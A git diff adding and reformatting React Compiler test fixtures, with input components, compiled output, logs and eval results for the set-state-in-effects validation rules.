@@ -0,0 +1,103 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:"infer" @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Component({x, y}) {
+  const previousXRef = useRef(null);
+  const previousYRef = useRef(null);
+
+  const [data, setData] = useState(null);
+
+  useEffect(() => {
+    const previousX = previousXRef.current;
+    previousXRef.current = x;
+    const previousY = previousYRef.current;
+    previousYRef.current = y;
+    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {
+      const data = load({x, y});
+      setData(data);
+    }
+  }, [x, y]);
+
+  return data;
+}
+
+function areEqual(a, b) {
+  return a === b;
+}
+
+function load({x, y}) {
+  return x * y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 0, y: 0}],
+  sequentialRenders: [
+    {x: 0, y: 0},
+    {x: 1, y: 0},
+    {x: 1, y: 1},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:"infer" @outputMode:"lint"
+import { useState, useRef, useEffect } from "react";
+
+function Component({ x, y }) {
+  const previousXRef = useRef(null);
+  const previousYRef = useRef(null);
+
+  const [data, setData] = useState(null);
+
+  useEffect(() => {
+    const previousX = previousXRef.current;
+    previousXRef.current = x;
+    const previousY = previousYRef.current;
+    previousYRef.current = y;
+    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {
+      const data_0 = load({ x, y });
+      setData(data_0);
+    }
+  }, [x, y]);
+
+  return data;
+}
+
+function areEqual(a, b) {
+  return a === b;
+}
+
+function load({ x, y }) {
+  return x * y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: 0, y: 0 }],
+  sequentialRenders: [
+    { x: 0, y: 0 },
+    { x: 1, y: 0 },
+    { x: 1, y: 1 },
+  ],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":182},"end":{"line":22,"column":1,"index":650},"filename":"valid-setState-in-useEffect-controlled-by-ref-value.ts"},"fnName":"Component","memoSlots":4,"memoBlocks":1,"memoValues":2,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) 0
+0
+1
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.js
new file mode 100644
index 000000000000..4e884e1c65de
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-controlled-by-ref-value.js
@@ -0,0 +1,40 @@
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:"infer" @outputMode:"lint"
+import {useState, useRef, useEffect} from 'react';
+
+function Component({x, y}) {
+  const previousXRef = useRef(null);
+  const previousYRef = useRef(null);
+
+  const [data, setData] = useState(null);
+
+  useEffect(() => {
+    const previousX = previousXRef.current;
+    previousXRef.current = x;
+    const previousY = previousYRef.current;
+    previousYRef.current = y;
+    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {
+      const data = load({x, y});
+      setData(data);
+    }
+  }, [x, y]);
+
+  return data;
+}
+
+function areEqual(a, b) {
+  return a === b;
+}
+
+function load({x, y}) {
+  return x * y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 0, y: 0}],
+  sequentialRenders: [
+    {x: 0, y: 0},
+    {x: 1, y: 0},
+    {x: 1, y: 1},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.expect.md
new file mode 100644
index 000000000000..da69a338f8a6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.expect.md
@@ -0,0 +1,51 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    const f = () => {
+      setState();
+    };
+    setTimeout(() => f(), 10);
+  });
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    const f = () => {
+      setState();
+    };
+    setTimeout(() => f(), 10);
+  });
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) 0
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.js
new file mode 100644
index 000000000000..f5255fd4b508
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener-transitive.js
@@ -0,0 +1,18 @@
+// @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    const f = () => {
+      setState();
+    };
+    setTimeout(() => f(), 10);
+  });
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.expect.md
new file mode 100644
index 000000000000..7a5718a17103
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setTimeout(setState, 10);
+  });
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @outputMode:"lint"
+import { useEffect, useState } from "react";
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setTimeout(setState, 10);
+  });
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) 0
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.js
new file mode 100644
index 000000000000..68f5da981fc6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-listener.js
@@ -0,0 +1,15 @@
+// @validateNoSetStateInEffects @outputMode:"lint"
+import {useEffect, useState} from 'react';
+
+function Component() {
+  const [state, setState] = useState(0);
+  useEffect(() => {
+    setTimeout(setState, 10);
+  });
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.expect.md
new file mode 100644
index 000000000000..d426c74a2da3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.expect.md
@@ -0,0 +1,116 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @loggerTestOnly @compilationMode:"infer"
+import {useEffect, useEffectEvent, useState} from 'react';
+
+const shouldSetState = false;
+
+function Component() {
+  const [state, setState] = useState(0);
+  const effectEvent = useEffectEvent(() => {
+    setState(10);
+  });
+  useEffect(() => {
+    setTimeout(effectEvent, 10);
+  });
+
+  const effectEventWithTimeout = useEffectEvent(() => {
+    setTimeout(() => {
+      setState(20);
+    }, 10);
+  });
+  useEffect(() => {
+    effectEventWithTimeout();
+  }, []);
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoSetStateInEffects @loggerTestOnly @compilationMode:"infer"
+import { useEffect, useEffectEvent, useState } from "react";
+
+const shouldSetState = false;
+
+function Component() {
+  const $ = _c(7);
+  const [state, setState] = useState(0);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => {
+      setState(10);
+    };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const effectEvent = useEffectEvent(t0);
+  let t1;
+  if ($[1] !== effectEvent) {
+    t1 = () => {
+      setTimeout(effectEvent, 10);
+    };
+    $[1] = effectEvent;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  useEffect(t1);
+  let t2;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = () => {
+      setTimeout(() => {
+        setState(20);
+      }, 10);
+    };
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const effectEventWithTimeout = useEffectEvent(t2);
+  let t3;
+  if ($[4] !== effectEventWithTimeout) {
+    t3 = () => {
+      effectEventWithTimeout();
+    };
+    $[4] = effectEventWithTimeout;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = [];
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  useEffect(t3, t4);
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":6,"column":0,"index":164},"end":{"line":24,"column":1,"index":551},"filename":"valid-setState-in-useEffect-via-useEffectEvent-listener.ts"},"fnName":"Component","memoSlots":7,"memoBlocks":5,"memoValues":5,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) (0 , _react.useEffectEvent) is not a function
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.js
new file mode 100644
index 000000000000..e2ebd7f58e95
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-listener.js
@@ -0,0 +1,29 @@
+// @validateNoSetStateInEffects @loggerTestOnly @compilationMode:"infer"
+import {useEffect, useEffectEvent, useState} from 'react';
+
+const shouldSetState = false;
+
+function Component() {
+  const [state, setState] = useState(0);
+  const effectEvent = useEffectEvent(() => {
+    setState(10);
+  });
+  useEffect(() => {
+    setTimeout(effectEvent, 10);
+  });
+
+  const effectEventWithTimeout = useEffectEvent(() => {
+    setTimeout(() => {
+      setState(20);
+    }, 10);
+  });
+  useEffect(() => {
+    effectEventWithTimeout();
+  }, []);
+  return state;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.expect.md
new file mode 100644
index 000000000000..4b5ece3998e2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.expect.md
@@ -0,0 +1,193 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:"infer"
+import {useState, useRef, useEffect, useEffectEvent} from 'react';
+
+function Component({x, y}) {
+  const previousXRef = useRef(null);
+  const previousYRef = useRef(null);
+
+  const [data, setData] = useState(null);
+
+  const effectEvent = useEffectEvent(() => {
+    const data = load({x, y});
+    setData(data);
+  });
+
+  useEffect(() => {
+    const previousX = previousXRef.current;
+    previousXRef.current = x;
+    const previousY = previousYRef.current;
+    previousYRef.current = y;
+    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {
+      effectEvent();
+    }
+  }, [x, y]);
+
+  const effectEvent2 = useEffectEvent((xx, yy) => {
+    const previousX = previousXRef.current;
+    previousXRef.current = xx;
+    const previousY = previousYRef.current;
+    previousYRef.current = yy;
+    if (!areEqual(xx, previousX) || !areEqual(yy, previousY)) {
+      const data = load({x: xx, y: yy});
+      setData(data);
+    }
+  });
+
+  useEffect(() => {
+    effectEvent2(x, y);
+  }, [x, y]);
+
+  return data;
+}
+
+function areEqual(a, b) {
+  return a === b;
+}
+
+function load({x, y}) {
+  return x * y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 0, y: 0}],
+  sequentialRenders: [
+    {x: 0, y: 0},
+    {x: 1, y: 0},
+    {x: 1, y: 1},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:"infer"
+import { useState, useRef, useEffect, useEffectEvent } from "react";
+
+function Component(t0) {
+  const $ = _c(18);
+  const { x, y } = t0;
+  const previousXRef = useRef(null);
+  const previousYRef = useRef(null);
+
+  const [data, setData] = useState(null);
+  let t1;
+  if ($[0] !== x || $[1] !== y) {
+    t1 = () => {
+      const data_0 = load({ x, y });
+      setData(data_0);
+    };
+    $[0] = x;
+    $[1] = y;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  const effectEvent = useEffectEvent(t1);
+  let t2;
+  if ($[3] !== effectEvent || $[4] !== x || $[5] !== y) {
+    t2 = () => {
+      const previousX = previousXRef.current;
+      previousXRef.current = x;
+      const previousY = previousYRef.current;
+      previousYRef.current = y;
+      if (!areEqual(x, previousX) || !areEqual(y, previousY)) {
+        effectEvent();
+      }
+    };
+    $[3] = effectEvent;
+    $[4] = x;
+    $[5] = y;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  let t3;
+  if ($[7] !== x || $[8] !== y) {
+    t3 = [x, y];
+    $[7] = x;
+    $[8] = y;
+    $[9] = t3;
+  } else {
+    t3 = $[9];
+  }
+  useEffect(t2, t3);
+  let t4;
+  if ($[10] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = (xx, yy) => {
+      const previousX_0 = previousXRef.current;
+      previousXRef.current = xx;
+      const previousY_0 = previousYRef.current;
+      previousYRef.current = yy;
+      if (!areEqual(xx, previousX_0) || !areEqual(yy, previousY_0)) {
+        const data_1 = load({ x: xx, y: yy });
+        setData(data_1);
+      }
+    };
+    $[10] = t4;
+  } else {
+    t4 = $[10];
+  }
+  const effectEvent2 = useEffectEvent(t4);
+  let t5;
+  if ($[11] !== effectEvent2 || $[12] !== x || $[13] !== y) {
+    t5 = () => {
+      effectEvent2(x, y);
+    };
+    $[11] = effectEvent2;
+    $[12] = x;
+    $[13] = y;
+    $[14] = t5;
+  } else {
+    t5 = $[14];
+  }
+  let t6;
+  if ($[15] !== x || $[16] !== y) {
+    t6 = [x, y];
+    $[15] = x;
+    $[16] = y;
+    $[17] = t6;
+  } else {
+    t6 = $[17];
+  }
+  useEffect(t5, t6);
+
+  return data;
+}
+
+function areEqual(a, b) {
+  return a === b;
+}
+
+function load({ x, y }) {
+  return x * y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: 0, y: 0 }],
+  sequentialRenders: [
+    { x: 0, y: 0 },
+    { x: 1, y: 0 },
+    { x: 1, y: 1 },
+  ],
+};
+
+```
+
+## Logs
+
+```
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":4,"column":0,"index":179},"end":{"line":41,"column":1,"index":1116},"filename":"valid-setState-in-useEffect-via-useEffectEvent-with-ref.ts"},"fnName":"Component","memoSlots":18,"memoBlocks":6,"memoValues":6,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: ok) [[ (exception in render) TypeError: (0 , _react.useEffectEvent) is not a function ]]
+[[ (exception in render) TypeError: (0 , _react.useEffectEvent) is not a function ]]
+[[ (exception in render) TypeError: (0 , _react.useEffectEvent) is not a function ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.js
new file mode 100644
index 000000000000..1436edf290b0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useEffect-via-useEffectEvent-with-ref.js
@@ -0,0 +1,59 @@
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @loggerTestOnly @compilationMode:"infer"
+import {useState, useRef, useEffect, useEffectEvent} from 'react';
+
+function Component({x, y}) {
+  const previousXRef = useRef(null);
+  const previousYRef = useRef(null);
+
+  const [data, setData] = useState(null);
+
+  const effectEvent = useEffectEvent(() => {
+    const data = load({x, y});
+    setData(data);
+  });
+
+  useEffect(() => {
+    const previousX = previousXRef.current;
+    previousXRef.current = x;
+    const previousY = previousYRef.current;
+    previousYRef.current = y;
+    if (!areEqual(x, previousX) || !areEqual(y, previousY)) {
+      effectEvent();
+    }
+  }, [x, y]);
+
+  const effectEvent2 = useEffectEvent((xx, yy) => {
+    const previousX = previousXRef.current;
+    previousXRef.current = xx;
+    const previousY = previousYRef.current;
+    previousYRef.current = yy;
+    if (!areEqual(xx, previousX) || !areEqual(yy, previousY)) {
+      const data = load({x: xx, y: yy});
+      setData(data);
+    }
+  });
+
+  useEffect(() => {
+    effectEvent2(x, y);
+  }, [x, y]);
+
+  return data;
+}
+
+function areEqual(a, b) {
+  return a === b;
+}
+
+function load({x, y}) {
+  return x * y;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 0, y: 0}],
+  sequentialRenders: [
+    {x: 0, y: 0},
+    {x: 1, y: 0},
+    {x: 1, y: 1},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.expect.md
new file mode 100644
index 000000000000..9a926dc2231e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.expect.md
@@ -0,0 +1,53 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useLayoutEffect} from 'react';
+
+function Tooltip() {
+  const ref = useRef(null);
+  const [tooltipHeight, setTooltipHeight] = useState(0);
+
+  useLayoutEffect(() => {
+    const {height} = ref.current.getBoundingClientRect();
+    setTooltipHeight(height);
+  }, []);
+
+  return tooltipHeight;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Tooltip,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import { useState, useRef, useLayoutEffect } from "react";
+
+function Tooltip() {
+  const ref = useRef(null);
+  const [tooltipHeight, setTooltipHeight] = useState(0);
+
+  useLayoutEffect(() => {
+    const { height } = ref.current.getBoundingClientRect();
+    setTooltipHeight(height);
+  }, []);
+
+  return tooltipHeight;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Tooltip,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: exception) Cannot read properties of null (reading 'getBoundingClientRect')
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.js
new file mode 100644
index 000000000000..b41b2c1e7ce5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/valid-setState-in-useLayoutEffect-from-ref.js
@@ -0,0 +1,19 @@
+// @validateNoSetStateInEffects @enableAllowSetStateFromRefsInEffects @outputMode:"lint"
+import {useState, useRef, useLayoutEffect} from 'react';
+
+function Tooltip() {
+  const ref = useRef(null);
+  const [tooltipHeight, setTooltipHeight] = useState(0);
+
+  useLayoutEffect(() => {
+    const {height} = ref.current.getBoundingClientRect();
+    setTooltipHeight(height);
+  }, []);
+
+  return tooltipHeight;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Tooltip,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.expect.md
index 017b282205d6..d44f098f8970 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.expect.md
@@ -11,19 +11,19 @@ function Component(props) {
   // later. however, our validation uses direct aliasing to track function
   // expressions which are invoked, and understands that this function isn't
   // called during render:
-  const onSubmit = (errorEvent) => {
+  const onSubmit = errorEvent => {
     logEvent(errorEvent);
     setCurrentStep(1);
   };
 
   switch (currentStep) {
     case 0:
-      return <OtherComponent data={{ foo: "bar" }} />;
+      return <OtherComponent data={{foo: 'bar'}} />;
     case 1:
-      return <OtherComponent data={{ foo: "joe" }} onSubmit={onSubmit} />;
+      return <OtherComponent data={{foo: 'joe'}} onSubmit={onSubmit} />;
     default:
       // 1. logEvent's mutable range is extended to this instruction
-      logEvent("Invalid step");
+      logEvent('Invalid step');
       return <OtherComponent data={null} />;
   }
 }
@@ -50,6 +50,7 @@ function Component(props) {
     t0 = $[1];
   }
   const onSubmit = t0;
+
   switch (currentStep) {
     case 0: {
       let t1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.js
index e3404f916d44..a1367e553222 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-uncalled-function-with-mutable-range-is-valid.js
@@ -7,19 +7,19 @@ function Component(props) {
   // later. however, our validation uses direct aliasing to track function
   // expressions which are invoked, and understands that this function isn't
   // called during render:
-  const onSubmit = (errorEvent) => {
+  const onSubmit = errorEvent => {
     logEvent(errorEvent);
     setCurrentStep(1);
   };
 
   switch (currentStep) {
     case 0:
-      return <OtherComponent data={{ foo: "bar" }} />;
+      return <OtherComponent data={{foo: 'bar'}} />;
     case 1:
-      return <OtherComponent data={{ foo: "joe" }} onSubmit={onSubmit} />;
+      return <OtherComponent data={{foo: 'joe'}} onSubmit={onSubmit} />;
     default:
       // 1. logEvent's mutable range is extended to this instruction
-      logEvent("Invalid step");
+      logEvent('Invalid step');
       return <OtherComponent data={null} />;
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.expect.md
index adb641a3a694..921bc0a6951a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 // @validateNoSetStateInRender
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component(props) {
   const [x, setX] = useState(0);
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false }],
+  params: [{cond: false}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.js
index 9665724b40c4..6522fefb0938 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/validate-no-set-state-in-render-unconditional-lambda-which-conditionally-sets-state-ok.js
@@ -1,5 +1,5 @@
 // @validateNoSetStateInRender
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component(props) {
   const [x, setX] = useState(0);
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: false }],
+  params: [{cond: false}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.expect.md
index 29d19decd5ec..1c96872ee813 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { makeArray, useHook } from "shared-runtime";
+import {makeArray, useHook} from 'shared-runtime';
 
 /**
  * Here, the cond ? [...] : defaultList value block produces two
@@ -12,13 +12,13 @@ import { makeArray, useHook } from "shared-runtime";
  * The same value block also mutates customList, so it must be
  * merged with the scope producing customList
  */
-function Foo({ defaultList, cond }) {
+function Foo({defaultList, cond}) {
   const comparator = (a, b) => a - b;
   useHook();
   const customList = makeArray(1, 5, 2);
   useHook();
   const result = cond
-    ? [...customList.sort(comparator), { text: ["text"] }]
+    ? [...customList.sort(comparator), {text: ['text']}]
     : defaultList;
 
   return result;
@@ -26,7 +26,7 @@ function Foo({ defaultList, cond }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
-  params: [{ defaultList: [2, 4], cond: true }],
+  params: [{defaultList: [2, 4], cond: true}],
 };
 
 ```
@@ -34,7 +34,6 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 import { makeArray, useHook } from "shared-runtime";
 
 /**
@@ -46,24 +45,20 @@ import { makeArray, useHook } from "shared-runtime";
  * merged with the scope producing customList
  */
 function Foo(t0) {
-  const $ = _c(1);
   const { defaultList, cond } = t0;
-  let t1;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = (a, b) => a - b;
-    $[0] = t1;
-  } else {
-    t1 = $[0];
-  }
-  const comparator = t1;
+  const comparator = _temp;
   useHook();
   const customList = makeArray(1, 5, 2);
   useHook();
   const result = cond
     ? [...customList.sort(comparator), { text: ["text"] }]
     : defaultList;
+
   return result;
 }
+function _temp(a, b) {
+  return a - b;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Foo,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.ts
index c1341214b4b3..1527843a5549 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/value-block-mutates-outer-value.ts
@@ -1,4 +1,4 @@
-import { makeArray, useHook } from "shared-runtime";
+import {makeArray, useHook} from 'shared-runtime';
 
 /**
